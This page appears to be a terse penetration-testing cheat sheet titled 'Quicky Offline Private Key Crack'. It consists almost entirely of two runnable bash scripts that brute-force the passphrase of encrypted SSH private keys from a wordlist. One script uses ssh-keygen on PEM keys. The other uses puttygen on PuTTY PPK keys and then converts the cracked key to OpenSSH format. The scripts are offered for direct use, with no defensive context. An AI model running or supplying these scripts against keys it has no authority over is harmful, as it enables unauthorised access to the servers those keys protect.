SSH
Secure Shell
Portable Clients
Quicky Offline Private Key Crack
#!/usr/bin/env bash
# pem-crack.sh passwords.txt root.protected root.priv
echo "Wordlist : $1"
echo "PEM key : $2"
echo "New PEM key : $3"
cp "$2" "$3" && chmod 600 "$3"
while read -r line
do
err=$( (ssh-keygen -p -P "$line" -N '' -f "$3") 2>&1 )
if [[ ! $err = *"incorrect passphrase"* ]]; then
echo "Passphrase : $line"
echo "$err"
break
fi
done < "$1"#!/usr/bin/env bash
# sudo apt install putty-tools -y
# ppk-crack.sh passwords.txt root.ppk.protected root.priv
echo "Wordlist : $1"
echo "PEM key : $2"
echo "New PEM key : $3"
touch /tmp/empty
while read -r line
do
echo "$line" > /tmp/w
err=$( (puttygen "$2" -P -o "$3" --old-passphrase /tmp/w --new-passphrase /tmp/empty) 2>&1 )
if [[ ! $err = *"wrong passphrase"* ]]; then
echo "Passphrase : $line"
echo "$err"
puttygen "$3" -O private-openssh -o "$3"
break
fi
done < $1
rm -f /tmp/w /tmp/emptyLast updated